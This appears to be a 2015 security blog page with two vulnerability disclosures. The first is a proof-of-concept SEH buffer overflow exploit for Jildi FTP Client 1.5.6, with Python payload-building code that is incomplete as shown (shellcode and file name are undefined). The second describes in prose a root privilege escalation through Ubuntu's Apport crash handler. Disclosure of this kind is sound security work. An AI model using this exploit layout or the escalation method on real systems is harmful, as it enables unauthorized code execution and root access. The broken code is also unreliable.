Wednesday, 3 June 2015

Jildi FTP Client 1.5.6 (SEH) BOF POC by Zahid Adeel

Jildi FTP Client (SEH) BOF


#Author: Zahid Adeel
#Title: Jildi FTP Client 1.5.6 (SEH) BOF
#Version: 1.5.6 Build 1536
#Software Link:
#Tested on: WinXP Professional SP3
#Date: 2015-06-03

How to test it:
Open jildi-poc.txt file and copy its content on clipboard. Then run Jildi FTP client, click on Connect icon and paste this string as server IP in text input field and click on connect. On successful execution, you will see calc.exe running on your system.


junk = "A" * 10096
n_seh = "\xeb\x06\x90\x90"
ppr = "\x56\x0B\x01\x1B" # PPR in msjet40.dll

#run your calc.exe

padding = "F" * (15000 - len(junk) -len(shellcode) - 8)
poc = junk + n_seh + ppr + shellcode + padding

fhandle = open(fname , 'wb')

Wednesday, 15 April 2015

2015-CVE-1318 Leading To Privilege Escalation In Ubuntu Distros (Trusty, Utopic, Vivid)

Apport is a utility of Ubuntu which reports crash events of a user to bug track but who knew that a crash forwarding feature of this useful utility can lead to privilege escalation :D . I have confirmed this bug on Ubuntu Trusty (14.04) and i believe its worth sharing :)

Bug Explained:

A new feature was introduced in Ubuntu 14.04 which will forward any crash to another apport running in the task's namespace (in the case where the pid of the task in its namespace isn't equal to that in the host namespace).

This feature simply checks for the presence of /usr/share/apport/apport in the task's root directory. If it exists, it will chroot and exec the script.
The problem is that as apport is a coredump handler triggered by the kernel, it'll always run as real root, regardless of the crashed task's owner and namespace.
This therefore allows an unprivileged user to craft a specific filesystem structure, pivot_root to it, then crash a process inside it, causing apport outside of the namespace to execute a script as real root. By bind-mounting /proc from the host into that namespace, the unprivileged user can then access any file on the host as real root, causing the privilege escalation.

Severity (High):

A nobody user on a regular Ubuntu system can be root after successful exploitation.

Affected Distros:

  1. Ubuntu Trusty (14.04)
  2. Ubuntu Utopic (14.10)
  3. Ubuntu Vivid (15.04)